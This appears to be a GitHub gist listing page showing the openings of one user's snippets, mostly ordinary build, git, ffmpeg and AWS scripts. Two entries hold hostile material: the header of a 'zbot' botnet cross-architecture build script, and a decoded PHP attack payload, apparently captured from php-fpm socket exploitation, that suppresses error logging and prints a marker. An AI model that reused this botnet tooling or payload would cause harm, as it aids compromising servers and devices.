Skip to content

Instantly share code, notes, and snippets.

@nl5887
nl5887 / cargo-update-dependency.py
Last active Jun 11, 2022
Update cargo.toml dependencies recursively
View cargo-update-dependency.py
import os
import toml
import argparse
parser = argparse.ArgumentParser(description='Update cargo toml module path')
parser.add_argument('--module', metavar='m', type=str, required=True)
parser.add_argument('--work-dir', type=str, default='.')
parser.add_argument('--version', type=str)
parser.add_argument('--path', type=str)
@nl5887
nl5887 / gist:e6a082d3c5fa7ed97778b5247f34a07f
Last active Jun 30, 2021
pass git credentials using environment variables
View gist:e6a082d3c5fa7ed97778b5247f34a07f
git config --global credential."https://gitlab.com".helper '!f() { test "$1" = get && echo "username=${GIT_USER}"; echo "password=${GIT_PASS}"; }; f'
@nl5887
nl5887 / README.md
Last active May 19, 2021
Git pre commit hook
View README.md

Copy the pre-commit file in .git/hooks/pre-commit and you'll never commit a non-working Go build again.

View zbot-build
#!/bin/bash
# Thank you for using zbot/zeus botnet
# ZBOT: https://github.com/codingplanets/ZBOT-Botnet
# Usages: ./zbot-build zbot.c
#
#########################################
###############ARCH NAMES################
#########################################
L1='zbotmipsel' #mipsel
L2='zbotmips' #mips
@nl5887
nl5887 / convert.bash
Last active Nov 9, 2021
Quicktime to Animated gif using FFMPEG
View convert.bash
#!/bin/bash
# convert to gif (improved palette) and 5 second still at the end
ffmpeg -i sans.mov -filter_complex "fps=25,setpts=PTS/5,split[v1][v2]; [v1]palettegen=stats_mode=full,tpad=stop_mode=clone:stop_duration=5 [palette];[v2][palette]paletteuse=dither=sierra2_4a" -loop 0 sans4.gif
View whitelist.sh
#!/bin/bash
find "$@" -type f \( -perm -u=x -o -perm -g=x -o -perm -o=x \) -print0 | while read -d $'\0' file
do
OUTPUT=$(santactl fileinfo "$file")
if [[ $OUTPUT =~ (Code-signed[[:space:]]+:[[:space:]]Yes) ]]; then
echo -n "Whitelisting $file by certificate: "
santactl rule --whitelist --certificate --path "$file"
else
View README.md

It appeared that this was the Microsoft Sensor network.

@nl5887
nl5887 / base64-decoded-part.txt
Created Jun 1, 2020
Exploiting internet accessible php-fpm sockets
View base64-decoded-part.txt
<?php if(function_exists('error_reporting')){@error_reporting(0);}if(function_exists('ini_set')){@ini_set('error_reporting',0);@ini_set('error_log',NULL);@ini_set('log_errors',0);}$___=(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_FILENAME"]:NULL));if($___==="/usr/bin/phar.phar"){echo"<span style='display:none'>".md5('lohpidr')."</span>";exit(0);}
@nl5887
nl5887 / example.go
Last active Apr 30, 2020
LoadCertificates will load all certificates and keys in multiple directories (using glob matching) and match certificates with their private keys.
View example.go
certificates, err := LoadCertificates("**.key", "**.crt")
if err != nil {
log.Fatal("Error loading x509 cert", rz.Err(err), rz.Any("cert-file", tlsCert))
}
tlsConfig := &tls.Config{
Certificates: certificates,
}
View spotty.sh
#!/usr/bin/env bash
AWS_CLI="aws --region $AWS_REGION"
PRICE=0.2
USER_NAME=#USERNAME#
KEY_NAME=#KEY NAME#
SECURITY_GROUP_ID=#SECURITY GROUP#
SUBNET_ID=#SUBNET#
VOLUME_SIZE=40
INSTANCE_TYPE=t2.2xlarge